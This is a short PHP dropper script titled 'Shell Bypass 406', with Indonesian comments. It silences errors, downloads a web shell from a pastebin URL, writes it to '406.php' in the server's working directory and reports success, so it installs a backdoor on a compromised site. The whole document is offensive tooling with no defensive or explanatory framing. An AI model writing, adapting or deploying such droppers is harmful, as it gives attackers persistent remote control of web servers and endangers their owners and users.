Shell Bypass 406

<?php
error_reporting(0);
$filename="406.php"; // Nama Shell nya
$fget=file_get_contents("https://pastebin.com/raw/BKFBhWiU"); // Link shell

// WGET Backdoor
$path=getcwd().DIRECTORY_SEPARATOR;
$fileopen=fopen("$path/$filename",'w');
$execfile=fwrite($fileopen,$fget);
	if($execfile)
	{
		echo "Success: $path$filename";
	}
	else {
		echo "Failed execute newfile $filename in $path";
	}
?>